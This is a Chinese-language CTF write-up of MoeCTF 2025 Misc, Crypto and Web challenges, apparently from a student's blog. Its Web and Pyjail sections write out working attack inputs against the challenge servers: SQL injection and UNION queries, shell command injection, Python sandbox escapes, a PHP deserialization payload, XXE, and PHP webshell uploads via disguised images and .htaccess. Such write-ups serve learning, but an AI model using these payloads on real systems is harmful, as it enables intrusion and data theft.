2025MoeCTF

Misc

:::info
ak后评价:这几天老是在玩做的比较慢,抽空做完了moectf的misc,总体评价是简单的没边了很适合新手(除了有一题我想的太复杂了自己在那边左脑打右脑,其实贼简单)

有不少音频题,这是别的misc几乎遇不到的

好玩

:::

misc入门指北

一题给了pdf,说

果然很经典就是一个个打上去然后给它调成了白色的看不见而已,如果下边调黑其实也能出

所以flag就是moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}

ez_LSB

很简单啊一看就是lsb隐写,那就放到stegslove里边看看就好了

看见这样一串字bW9lY3Rme0xTQl8xc19zMF8xbnQ zcmVzdDFuZyEhc2o5d2R9

看起来就很像base64啊。毕竟48个字符数字也正好对应

解得moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}

SSTV

结合提示,这个音频其实就是sstv的电码,听的我耳朵都要炸了

下个RXSSTV解码一下

由于SSTV工具是根据音频传递图片信息,正常解法需要一台设备播放一台设备收音,所以需要一个虚拟声卡,还能避免杂音的干扰。(我不明白为什么我用手机放它接收不到,但是我人声讲话可以)

然后利用虚拟声卡我们就成功得到了flag

moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}

捂住一只耳

真的很喜欢muisc的misc

这个根据题目,应该是一个左右声道分离的事情

很明显啊上边的有问题,先导出来看看

听上去像摩斯电码

找个现成的网站搞一下,flag出来了moectf{half_radio_in_xdu}

Enchantment

这题说是图片、附魔台听不懂,但给了一个流量包,打开来看看

一看就这个最多,括号里还写个png,肯定和这个有关,先导出来看看

应该是png,把前后的多余东西删掉

打开来还真是个附魔台,还是时运三,有点东西啊

所以附魔台上的文字就是这个文字咯?

注意到附魔台的文字其实是“标准银河字母”

似乎没什么关系

把png放到binwalk看一眼,发现有zlib

这个是default compression,说明文件头是789C

分离一下

查看十六进制,发现这个.zlib文件没啥内容,而这个3E无后缀的文件虽然内容少但是似乎藏着些什么

尝试解密看看能不能干个二维码出来

我真无语了就是直接对照着标准银河字母解密罢了

第一行:the_flag_is_below

第二行:now_you_have

第三行:mastered_enchanting

所以答案就是moectf{now_you_have_mastered_enchanting}。。。无语

ez_png

平平无奇吗,有点意思,看看照片

这边说跟颜色无关,所以可以排除lsb隐写之类的了

骨骼,怀疑是藏东西了,binwalk一下

看见有俩zlib

提取出来先

3E直接空了,没用,删了

?直接打开DB7C7的十六进制直接就出了?这也太简单了吧,这不binwalk使用题吗???

这题有上题一半恶心吗,我思考半天结果只是人力解密

flag:moectf{h1DdEn_P4YlOaD_IN-Id4T}

Rush

新题来咯~

这不就gif图片吗?直接stegSlove了

还是个残缺的

补一下就好了

moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}

ez_锟斤拷????

这是连续的 UTF-8 容错字符以 GBK 解码的结果

我们直接在乱码恢复网站搜索即可

可以看到这边有

moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}

moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}

encrypted_pdf

加密pdf

密码是简单的

那就尝试弱口令爆破呗

去kali用pdfcrack

说简单,那就先试试看数字呗

pdfcrack -f 1.pdf -n 1 -m 6 -c 0123456789qwertyuiopasdfghjklzxcvbnm

跑半天跑不出来

老实了,直接去破解网站吧

有提示啊,直接搜吧

还有后半段,很神奇吧

moectf{Pdf_1s_r3a1ly_c0lor4ul_ihdw}

我去还不对吗

矢量化一下吧

moectf{Pdf_1s_r3a1ly_c0lor4ul!!ihdw}

这下对了

ez_ssl

跟tls有关,先tcp搜一下log

上传的是ssl.log,不是这个

好这个对了,就是这个

给他命名完.log后缀后放入tls

(上边是原来的)

可以看到多了不少文件

这zip都写脸上了,导出一下

果然是个zip,打开来是flag.txt,说是密码是七位纯数字,那爆破起来很方便了(比隔壁lil简单多了)

怎么突然报错了

噢要把这个冗余的删了才算

然后去爆破就好了,很快的,16s

密码为:6921682

怎么都喜欢塞Ook编码,跟隔壁磐石一模一样

moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}

万里挑一

给了一大堆,但是密码我看了看就是数字和小写字母的集合

20个字符

试试看爆破,好,大概要一年以上,明年见

好了肯定不是这样子做的,我们思考一下

首先尝试了伪加密,发现不是的

其实我是想直接复制粘贴的,但显然随波逐流不太给力,直接死机了

多重嵌套解压一下

解压之后利用循环结构从G:\Misc\password\0\0\0\0中的pwd.txt文件遍历到G:\Misc\password\9\9\9\9的pwd.txt文件

再根据这些文件里的内容都是The password is:3ce3a183fdf9cb067c67的原理把冒号之后的3ce3a183fdf9cb067c67内容提取出来

这密码字典不就来了,咱爆破去!

欧克啊也是顺利爆出来了,a296a5ec1385f394e8cb是7571号文件

额还有第二层?直接把明文写脸上了吗

但是我们找不到多余的信息了

根据明文的提示,我们不可能直接构造flag.txt,一定是通过明文.exe来搞出flag.txt的

这边我们新建文件,直接写4D5A90000300000004000000

直接拿这个最常见的Windows可执行文件12字节来创建个文件尝试明文爆破(主要还是利用了ZipCrypto很老的特点,直到一部分可以推出全部)

去bkcrack.exe -C 1.zip -c “明文.exe” -p mingwen.bin

解得如上,我们得到了key:eec878a3 6808e48f 3aa41bd8

bkcrack -C 1.zip -k eec878a3 6808e48f 3aa41bd8 -U new.zip easy

设置个新密码easy

easy作为密码直接打开就是了,然后就得解了(这个exe是没啥意义打不开的那种)

moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}

weird_photo

小题,好玩

这种题感觉已经得心应手嗷,这不是注意CRC吗,一眼CRC有问题啊

宽高有问题啊,改改就是了

moectf{Image_Height_Restored}

WebRepo

想到了不好的回忆:指LilCTF

扫一下是这个内容,我们试着binwalk一下

有个7zip

定位后提取

后缀一改,类似于是个git泄露的题目

在这边我们可以看到在这个版本有flag的痕迹,我们利用指令git reset –hard 249ff41401736165cd4514cee7afcd31ecfe7d09回退到该版本

成功在同目录下还原flag

Encrypted volume

压缩包打开就这俩,我研究了半辈子第一个文件到底藏啥了死活没研究出来

毕竟是0kb,我想半天想不明白能有啥,然后去爆破容器了,也不行

结果刚刚想到说可能是这个rar有问题

果然,早该binwalk一下的,藏了个png

是个二维码,扫出来是这个:@(s<”A3F:89x541Ux[<

应该就是密码了,我们直接vc一下

打开容器是个txt,是brainfuck编码

其实蛮简单一题,就看能不能找到png了,找不到就做不出来,找到了就很顺(其实有点套娃的意思,最后的brainfuck没什么意义)

哈基米难没露躲

是一个txt文件,打开来全是哈吉米

我怀疑有哈吉米编码了

主要是我之前刷到过这个视频()

搞半天不能用2.0的哈吉米翻译器,必须用1.0的简单base64加盐https://lhlnb.top/hajimi/base64

搞半天还是假的!!!‌‌‌‌‍‬‍‌‌‌‌‍‬fakeflag‌‌‌‌‍‬‍‍‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‌‍‬‍‬{‌‌‌‌‍‬you‌‌‌‌‌‌‍‌‌‌‌‍‬‌‬‌‌‌‌‌‬‌‌‌‌‌‌‬‍‌‌‌‌‌‍‍‌‌‌‌‌‍‬‌‌‌‌‍‬‌‬‌‌‌‌‌‬‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‍‌_can_‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‌‌‌‬‍‌‌‌‌‌‍‌‌‌‌‌‌‌‍‌‌‌‌‌‌‌try‌‌‌‌‌‌‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‌‍_‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‌‌‌‌‌‌‬‍‌‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍searching‌‌‌‌‌‌‌‌‌‌‌‌_text‌‌‌‌‌‍‬_‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‬‌‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‍Steganography}

叫我搜文本隐写,想不到什么文本隐写

我想复制这个text‌‌‌‌‌‍‬_‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‬‌‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‍Steganography去搜一下,结果中间爆出一堆问号

应该就是零宽了

果然啊!!!moectf{1b8956b9-a423-4101-a1bd-65be33682c82}

二血直接拿下!!!

2048_master

这题做的很乱,我也是思路很乱

拿到一个exe游戏,直接玩我是没有那个心思

肯定是先想能不能ida一下

主要还是看见了字符串的内容,明白了flag藏在flag.txt中,但是不能提取出来,考虑到是2048,试试看能不能直接用CE修改数值

这边发现分数的确可以调,但是没法得到flag

因此转变思路变成了修改上部内容

而上边的内容不是直接用CE能解决的

这边发现生成了一个layout.dat会随时跟着exe更新

于是逆向思考能不能修改这个得到flag

结合提示修改为2048,发现已经输出异常了

此时随便按两下就有了

moectf{Y0u_4re_a_2048_m4st3r!!!!r0erowhu}

网谷杯-non-interlaced

Hint:神奇的图片有什么意义呢?

这边随手记录两道网谷杯的题目,两道misc,我也没参赛,别人给的,这边随便记一笔就是了

这题打开发现长成这样子,按顺序一共九张奇怪的图片

按照正常的思路,应该是九张照片按什么顺序有一定做法

先看看1.png好了

扔到随波逐流发现R这一条是有压缩包的样子

我们用stegslove打开,直接Red一行勾选完

然后保存即可,同理看看9.png,发现这个是蓝色的一栏,且有着压缩包的文件尾

然后就水到渠成了,全部按这个颜色顺序一个个来就是了。最后把十六进制拼起来

拼成了压缩包打开,是一个图片

如图

网谷杯-Format-8bits

Hint:看不懂的汉字隐藏了什么秘密呢?

直接binwalk,发现有个压缩包

是一堆乱码,其实一开始我是在想会不会是和422异或什么的,发现不是

结合之前做过的moe的题目

怀疑是乱码修复

问题是之前的网站不太行,这边新找了一个不错

https://xth8013.com/tool/recoverCharset

得解

MoeCTF指导版

史上最恶心人之题

先照着按

这边数数的时候不能再点投喂了

24

主要是9.1

我写了半天才发现下边这个

13930

所以是14101(有加分,要恶心死谁?)

???

重新搞了一次,73

所以账号是

241410173

。我又被恶心了两遍,一个是压根没看前边有几个汉字,第二次是没想到是前三句,我还以为是前两个问题

还有一句这个,所以第三块变成了14+28+14=56

241410156

我们输入password

改为incorrect!(我就知道又要搞我)

能看清的也是神人了

找到之后直接看元素方便点

xbhiuebkjvs

填入******

我们似乎必须先按一下翻转然后才能按出flag(或许是因为之前说flag被嵌在里边了吧)

我再也不想做这题了

moectf{76498885-9445-3f2c-67e0-95ad523665c8}

Pyjail 0

还要先搞ncat

搞了个中文版的

根据题目提示,先输入反着的内容,通过验证码

接下来输入文件地址,这边说和第十二章一样,那就应该是在环境变量里

直接输入/proc/self/environ看看

直接就出了

Pyjail 1

在我做这个的时候正好看到了这个

先不用,看看源码

先看看python代码

其实我觉得有点像web题?

这边过滤了五个函数,我们的目标就是print出在/tmp目录下的flag文件

import杜绝了用别的方法打开,open也被过滤了,但我们必须打开才能看见flag

这边我们可以利用chr()一个个拼成最后的open,因此print中后半部分为chr(111)+chr(112)+chr(101)+chr(110).read()

但是光构造没用啊,必须要内置函数

为了逃逸python沙箱,我们需要利用getattr函数这个核心技巧,来安全访问内置函数

为什么一定要构造的那么复杂?

于是得到最后的payload:

print(getattr(builtins, ‘dict‘, builtins)chr(111)+chr(112)+chr(101)+chr(110).read())

具体步骤如图

得到flag

Pyjail 2

内容一致,就只是python程序不一样了(我说就很像web吧?)

在刚刚的基础上又过滤了一大堆这种特殊字符,寻找方式绕过

由于下划线被禁,不能用刚刚的方法了

先搞明白刚刚的原理是什么

主要是这样子六步

但由于被禁,我们无法获取__builtins__对象,也无法访问其__dict__属性,无法获取函数字典

这边考虑主要是这样子绕过

1,利用getattr与chr构造得到各个函数

比如我们这边可以用getattr(chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95) )

来替换’getitem

2,利用global()函数获取全局变量字典

利用这两步,分别以此构造出read函数,open函数等等即可得到最后的payload

这边分为了八步:

1,global函数获取全局变量字典

2,获取字典的 __getitem__方法,使用 getattr获取 __getitem__方法,也就相当于了[]操作符

3,利用步骤二的getitem方法获取 __builtins__对象

4,有了 __builtins__对象,即可访问获取open函数

5,调用open函数打开文件

6,获取read

7,用read打开文件

8,打印即可

print(getattr(getattr(getattr(globals(), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)), chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)), chr(114)+chr(101)+chr(97)+chr(100))())

得到flag

Pyjail 3

这边可以看见直接把__builtins__改成None了,也就是说我们无法调用所有的内置函数

后边的{}也说了我们没有任何的预定义的局部变量

面对这种情况,或许只能利用__import__导入模块了

不知道__import__(‘os’).system(‘’)行不行

可以先试试看,至少简单表达式是可以的

getattr(getattr(().class.base.subclasses()[132].init.globals[‘sys’],’modules’)[‘os’],’read’)(getattr(getattr(().class.base.subclasses()[132].init.globals[‘sys’],’modules’)[‘os’],’open’)(‘/tmp/flag.txt’), 1000)

Crypto

Crypto入门指北

这个入门指北主要讲的就是EIGamal的密码了,是继RSA以来另一个有意思的密码,我觉得值得深挖

所以这题把私钥给泄露了,肯定是能做出来的

利用这个公式就能解出题目的答案

我们直接先求s = pow(c1, x, p)

然后求s的模逆元s_inv = pow(s, -1, p)

最后直接求m = (c2 * s_inv) % p

然后再long_to_bytes即可

moectf{th1s_1s_y0ur_f1rst_ElG@m@l}

ez_DES

分组密码吗?有点意思

先看看什么是DES

我们一步步倒着看

这边知道了c,也知道了这个encrypt函数是啥意思,目前下边的c是key加密的flag内容

而key如下,是五个固定+三个随机

那我们直接写代码逆向回去就好了

注意这边key需要遍历一下

得到答案

Found flag: moectf{_Ju5t envmEra+e.!}

Key: ezdes8br

baby_next

看起来就是rsa的题目呀

前边告诉我们flag一共38位,有八位是moectf{}

题目说很好分解,那我们直接上yafu

果然很好分解

p = 9835790642950870702456388102541833011851580184211232019829465812360043670916676289614924432072209183922656300400121695605187082642402117584019839337925591

q = 9835790642950870702456388102541833011851580184211232019829465812360043670916676289614924432072209183922656300400121695605187082642402117584019839297179867

直接输入rsa(也只会写这个代码了

还是rsa简单

moectf{vv0W_p_m1nu5_q_i5_r34l1y_sm4lI}

ez_square

欸又是rsa的题,还是这个熟练点

这题主要是n不好分解,所以给了个hint来辅助一下,辅助我们得到p和q

一边是(p+q)^2mod(pq)=hint的式子,一边是pq=n的式子,两个等式求p和q两个未知量,正好求解

结合题目,这边hint计算后为平方数

是 2343458209274425996985047093820966198128351630302072151512123489799998738482601894111632387083653590921895308705989628111300210058143690024967352474744452 的平方

代码必须合适才能解出来,不然等半天也搞不出来

p = 8063541879684999172434156846785579383392012202377476576385935453837904086104134169422578105606735811577484535836740321806192056243591239447944792906642589

q = 10407000088959425169419203940606545581520363832679548727898058943637902824586736063534210492690389402499379844542729949917492266301734929472912145381387041

然后还是经典rsa代码

ezBSGS

要求满足13^x=114514mod100000000000099的最小整数x

专门提一嘴题目,那肯定是和BSGS拖不了干系了

与题干几乎一致,我们也能满足114514和100000000000099互质

直接修改已有脚本

依次输入100000000000099,13,114514,

得到flag

moectf{18272162371285}

ezAES

从后往前看,enc=aes(key,flag),enc已知,key已知,aes算法已知,求flag

代码写的比较烦,有10 轮完整操作(SubBytes、ShiftRows、MixColumns、AddRoundKey) + 1 轮最终轮

总的来说就是有逆字节替换、逆行移位、逆列混合等操作

happyRSA

这个太眼熟了,nss也有一题happyRSA

上边的是本题,下边的是nss的

要我说其实差不多对吗,都是多给了一个方程求p和q

x=power_tower_mod(n_phi + 1, r, pow(n_phi, 3))

求出p和q这题就结束了

power_tower_mod函数如上,迭代这个123456次

x=power_tower_mod(p+q, r, (p+q)**3)

ezlegendre

给了一堆三十九位的数字串

杂交随机数

代码如上,在尝试了几次之后可以发现其实压根就不随机,最后的输出数和flag息息相关,并且唯一,因此我们可以就这个输出数直接给逆推回flag(甚至还可以爆破?但是或许太麻烦了)

我们逐块分析

lfsr函数,两个参数,先把mask填充的和这个data一样长,然后把这俩玩意异或了,然后再算算这个异或出来的东西的1的个数是奇数还是偶数,奇数就1,偶数就0,把data左移一位来放上这个0/1

接下来是四个参数的lcg函数,生成的是伪随机序列,就是进行了个计算而已,没什么好说的

后边先初始化,x转化为64位二进制字符,然后分成两半,前一半给L,后一半给R,b是个固定的值,m也是,这俩都是后期给lcg玩的应该

核心是这个循环,显然循环了整整2025次,先管R叫mask,然后seed是当前的L的二进制整数,再用lfsr函数把L和R结合自更新出新的L

然后再用lcg函数生成新的R(参数为现在的R,-233,seed,2^32)

最后交换L和R的位置

就这种事情还干了2025次

最后拼起来再转整数

最后得到了我们这个整数,所以我们要转回去的话,先把现在这个搞成二进制的,拆开来

然后进2025次循环,每次循环就先置换,置换完了还原R,然后还原L,这个地方有点难度因为他本来就是自加密

搜索一下其实可以搜到这个算法

happyrsa

是一道RSA的题目

这边主要是多了一个函数,递归123456次,然后a是一直不变的

m不断变为小于或等于该整数m的相对素数的数量

最后返回a的a%m次方再取m的余

a其实是不变的,k也知道了就是取123456次递归,问题只在于m的变化,即m在123456次后会变成什么样子

理清了加密思路后我们看看这边怎么做

首先是提示,↑↑表示幂塔(tetration)运算

幂塔,顾名思义就是个塔()

因为有提示,所以我们直接可以得到下边的这个式子

这边还是主要由于这个简化形式,否则怕是难做

于是解密步骤化为了下述的三部

化简出来后,我们就可以用x表示N,即n_phi了,那样的话N其实已知了

然后恢复p和q,毕竟p+q已知,pq已知

接着最后解密m即可,就没难度了

这边最难的部分还是化简,还要再深思一下,我实在不明白怎么化简的

主要还是这样子三步,化简出来就简单了

得到flag:moectf{rsa_and_s7h_e1se}

神秘数字太多了

和BSGS算法息息相关

我们需要构造这个N个1

直接这样子即可,所以我们要找的N其实就是上述式子的k

于是式子转变为了

直接用BSGS算法

输入即可得到答案

moectf{7718260004383}

Web

:::info
ak啦!真的超有意思,非常适合新手,特别好玩,也很生动,虽然可能有点太简单了()

:::

0 Web入门指北

给了个指北说明书,跟题目我看没什么关系

还给了七个上锁的zip,有点意思

所以第一题应该只和txt文件有关了

给了一大长串的JSfuck编码

可以直接按F12进入控制台,然后输入这个jsfuck代码运行,看见答案

moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

Moe笑传之猜猜爆

点开来查看源码

这题是在和randomNumber比较

所以我们可以直接打开控制台,输入randomNumber,然后把这个数字拿去猜,百猜百中

得到答案FLAG: moectf{d5819f8f-6c5f-e4a2-7131-67cece980472}

01 第一章 神秘的手镯

这个题还是反向代理的,还得下个websocket的软件

打开来我们玄天至宝

至于迷咒,我看就是txt里边的内容吧

哦这边主要是考无法粘贴怎么输入进去

直接F12,然后在元素区定位这个框

然后把这行字“在此输入万言启封咒”改成密文

然后就出答案了

moectf{f_i2_1s_Your_g00d_fri3nd!!}

也是有小说密码了

@Dxyoyugnd8EHrg7NaXaSA1J

02 第二章 初识金曦玄轨

一道考Http请求包的题目哇,先连接看看

按下ctrl+u即可用神识探查其中文字

让我们前往黄金轨道看看

什么?!天道。。拒绝了我。。。。

还是要学一下这个http包怎么写吧

不过这题其实直接抓包然后看这个网站就行了

确实在破阵盘这不直接看见了(所以抓包软件就是破阵盘???)

moectf{0bs3rv3_Th3_Gold3n_traiL}

来了这不就fAMwxQ2rEhbXWUw9IJmvU4ec

看这玩意中二的

03 第三章 问剑石!篡天改命!

改东西呗

直接抓包然后篡改天道,资质直接S,光芒也给直接干到flowing_azure_clouds

然后发送请求就能看见flag

moectf{gEt-pO5T-TraNSMIssion_15-4_gOoD_mEthoD!!110}

小说解压密码:cBrtGRQSKeLvty0@lKyFpU@Z

是很经典的打脸环节(虽然资质是假的)

04 第四章 金曦破禁与七绝傀儡阵

(我其实很好奇为什么要把04设置的比05难导致04出现在05后边了)

确实是真经

磐石傀儡

这真是教程题啊,太适合新生了,比如我

我们直接给url添加参数即可

获得玉简碎片: bW9lY3Rme0Mw不知道后边会不会有用

做完之后的答案如下:

好第二关

织云傀儡

post请求

直接hackbar插件载入即可

获得玉简碎片: bjZyNDd1MTQ3

做完之后的答案如下:

好第三关

溯源傀儡

第三关要本地访问

利用X-Forwarded-For连到自己这边

加上就能看见回显答案了

获得玉简碎片: MTBuNV95MHVy

做完之后的答案如下:

输入soul什么的进入第四关

器灵傀儡

使用moe browser,去哪搞这个,直接修改浏览器标识即可

user-agent改成这个就行

看见答案了

获得玉简碎片: X2g3N1BfbDN2

做完之后的答案如下:

/heart_seal进入第五关

心印傀儡

修改身份认证来了

这边记一下这些sec-fetch

当然这题跟这些都没关系,这题考cookie来的

直接加入这个cookie就好了

获得玉简碎片: M2xfMTVfcjM0

做完之后的答案如下:

/pathfinder前往第六关!!!

前尘傀儡

考的referer

所以我们加入Referer:http://panshi/entry即可

获得玉简碎片: bGx5X2gxOWgh

做完之后的答案如下:

/void_rebirth最后一关去咯

逆转傀儡

这啥玩意,春秋蛊吗

这边学到个扫描的方法,记一下

就直接put新生!就好啦?

获得玉简碎片: fQ==,这不是一眼base64吗

做完之后的答案如下:

/final_success走我们去合成玄机秘钥

应该就是base64了,我们集合一下通关玉简bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

得到答案moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

jU92itArJr2pe04Em6HF_tik

小说没啥,就展示了一下代码

05 第五章 打上门来!

破阵之机,寻得根目录

谁家赛博本源

根据这个提示,在文件目录穿梭的技法,锁定的是目录遍历漏洞,链接

原理如下

看见所有的目录了,每一行信息如下

x不代表没有密码,而是代表着密码在../../../etc/shadow

这边每个字段意义是——用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

当然了,这题用不到那么多东西,这题只需要我们退回到上级目录即可

马上就看见个flag文件夹

这就有了

moectf{@LI-1NPuT_I5-MaIiC1Ou52c17d18d}

06 第六章 藏经禁制?玄机初探!

这不数据库的sql注入吗()

看这大阵,所以这个是这样子传输的,就是个sql注入题

输入万能密码

username=’=’&password=’=’

后端的程序大概如下:

string sql = select * from users where username = ‘input_username’ and password = ‘input_password’;

我的输出会让这个变成:

string sql = select * from users where username = ‘’=’’ and password = ‘’=’’;

其中的''=''返回1

username=True and password=True,即可绕过。

moectf{W31cOM3_To-sQI_InjECtiOnl168a28fe}

也是让这个恒等,但步骤显然不是我这样子,做题还是要先探查再去看,不是盲目去做

07 第七章 灵蛛探穴与阴阳双生符

这个文件。。有点眼熟啊,是不是robots.txt啊

欸不让我去/flag.php

那我们手动上这个,发现这样子的php文件

其实就是要两个具有相同 MD5 哈希的不同字符串

/flag.php?a=d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70&b=d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70

我辛辛苦苦找的md5一样的值竟然不行,或许是太长了,试试看绕过吧

可以试试看0e绕过,一下就成功了

moectf{md5-Is_not_SafE!l292f0e0dcfb}

还真是()

08 第八章 天衍真言,星图显圣

看起来还是sql注入,估计是过滤加上了

果然之前的不行了

先进行模糊测试

似乎都能通过?

提示是都要这仨的精髓

这里我想尝试看看列数但是这边毫无回显啊

但是输入经典 ‘ OR 1=1 – 或者是上一题的==这种万能钥匙,成功进入了管理者页面,回显正常

现在应该试试看可查询的属性列了

尝试了多次后发现得这样子构造,需要/!BY/来替代空格

需要#替代–+

联合构造永真环境

最后测试出这个列数为2

那我们直接输入’ UNION SELECT null,null#验证一下

没问题的

下一步确认回显位置

‘ UNION SELECT ‘test1’,’test2’#

输入后如下,确认位置在第一个

因此我们输入’ UNION SELECT @@version,database()

直接输出数据库版本

‘ UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1#

要找列肯定是去information_schema库

输入直接welcome flag了,关键表名为flag

‘ UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = ‘flag’ LIMIT 0,1#

提取一下列名

所以列名为value

都知道了呗,表名flag,列名value

‘ UNION SELECT value, null FROM flag#

直接搜,注意value要在一列的位置

解得flag

moectf{UnIOn_Bas3d-sq1i-fTW1!d4719196}

?为什么是二五,我试出来是1啊,奇了怪了,算了算了

web就这样子ak啦,还有很多要学的,这个真的很好玩

09 第九章 星墟禁制·天机问路

输入星域真名就好了

尝试直接ls /失败

但是尝试; ls /成功了

这说明了命令注入漏洞存在(;被识别为命令分隔符),那我们也是确认了空格和;的可用性

只是没有看见flag的痕迹,再找找看

实在是在各种路径都没找到

所以我们只能直接全局搜索了; find / -name ‘flag‘ 2>/dev/null

没找到可用文件,cat得到的都是没效果的内容

说明不存在以flag命名的文件,我们换一个思路,搜索看看环境变量里是否存在

;env | grep -i flag

列出含有flag的环境变量

成功找到flag,这说明很多时候flag也会藏在环境变量中

CszFiOPw1kDQoKB_hS6@Do^n

10 第十章 天机符阵

省流也是够省了

直接输入ls,提示报错

说明我必须传入合法的xml格式内容

注意XML的语法规则

在几次失败尝试后逐渐摸清了应该是<契约><阵枢>/flag.txt;</阵枢><解析>cat</解析></契约>的类型

但是一直不出来,似乎这条路被过滤了

在尝试了各种绕过后最后确认了这题需要使用外部攻击,利用XML外部实体声明得到flag

我想主要还是因为有配置,解析器会加载外部实体,如果没有的话估计不行

我们来看revenge

10 第十章 天机符阵_revenge

果然前边的不让用了

可能只是在别的地方?过滤一下数据流看看flag.txt的绝对地址

直接就出来了,这说明这题依旧没有屏蔽外部实体

0mzKObH~eIodVLbwF9921DTT

果然啊,这题就是有天道护盾,所以只能用外部实体符强行嵌入

而且这个版本也能工作,说明/flag.txt文件的内容不包含任何特殊字符

这题还是XXE漏洞啊

安全建议如下:

11 第十一章 千机变·破妄之眼

省流已经写的很清楚了

但是五种怎么说也有120种排列,单靠手打显然不可能,更何况参数名还要等于参数值

所以我们编写脚本,将120种参数传入

在遍历后成功发现了正确的输出

但是这个参数时刻都在变化,并不是找到后就可进入的

寻得正确参数,再以虚空穿行之法,穿越层层禁制,直抵阵眼核心。

需要虚空穿行一下

我们在查出来后直接访问flag.php即可

失败了

尝试直接访问网址,访问到了find.php

然后就被嘲讽了

看不见,那试试看能不能靠编码出

尝试用base64输出

直接就有了,看这老弟

moectf{79bc1e24-caea-3a27-f57d-1c9f376d53a5}

W3WOVC8XU1v_189G0dINixcb

12 第十二章 玉魄玄关·破妄

这省流越来越精简了,蚁剑简单啊

可以看到连接密码是cmd,直接蚁剑吧

找半天找不到,试试看直接命令行搜吧

结果压根就没有叫flag的文件啊

也有可能存在环境变量里

找到了,flag

其实就是说这个moectf的flag在环境变量而已

13 第十三章 通幽关·灵纹诡影

这边给的提示很多,已经把要求都说完了

只要满足这些即可,我们随便搞一个jpg文件然后在文件尾加上一句话木马看看

反正只看前边的六个十六进制

我们可以直接上传php,反正也没过滤,伪装一下就行了,进去改成说这玩意是jpg

蚁剑连接后即可得到flag

就是把php文件伪装成jpg文件上传即可

14 第十四章 御神关·补天玉碑

御神关同样是文件上传漏洞来的

但是在这边过滤了很多邪道术法

考虑到题目的提示,我们可以找找看有什么apache特殊文件

搜索后可以找到这个.htaccess文件

这边可以参考我在nssctf遇到的题目,直接上传这个文件,然后让所有的文件都是用php解析,再上传php一句木马伪装的文件即可

OK先上传这个

然后上传伪装的php一句话木马

接下来蚁剑连接即可

答案是这样子的

15 第十五章 归真关·竞时净魔

这边倒是没给什么提示

还是一样的传.jpg/.png/.gif文件漏洞

但是会进行重命名净化不太明白是什么意思

16 第十六章 昆仑星途

包裹执行system命令

?file=data://text/plain,

成功读到flag所在文件

cat /flag-1pZ2J0vNMvyuId8a8wmMF3BsWXeCao.txt

得到flag

而在答案中则是利用的base64绕过,其实是一样的,只是base64输出

17 第十七章 星骸迷阵·神念重构

开始返璞归真没有外壳了

上来还是经典highlight_file(File),当你直接访问该脚本时,会看到其源代码

接下来是类A,有一个公共元素$a,然后定义了一个魔术方法__destruct,当销毁时会自动调用,执行$a中包含的字符串

后边是反序列化,看有没有参数a,有就直接用unserialize函数

我们构造一下payload

我们说有一个对象,类名为A,长度为1

然后再描述一下这个A,就说其为字符串,属性值为phpinfo();看看

a=O:1:”A”:1:{s:1:”a”;s:10:”phpinfo();”;}

直接就出了


moectf{db332f2c-cb7a-edc1-a671-e8dd883a7bdc}

18 第十八章 万卷诡阁·功法连环

其实和上边那题差不多

这边代码会检查是否存在GET函数person,如果存在就对其调用unserialize()函数,这边反序列化了输入且无过滤

而PersonA定义了wakeup函数,会在被反序列化之后自动调用,执行$this->name->work()

如果这边我们能控制PersonA的$name属性,使其成为一个PersonB对象,那么我们实际上调用的就是PersonB的work函数了

这边work函数还有eval函数

所以我们应该想办法构造PersonB的$name属性,然后通过eval()函数执行

Reverse

逆向工程入门指北

第一题打开还有教程呢,那我们直接听话ida打开就好

然后shift+f12:可以打开string窗口,一键找出所有的字符串,右击setup,还能对窗口的属性进行设置

打开来就是一大串哇

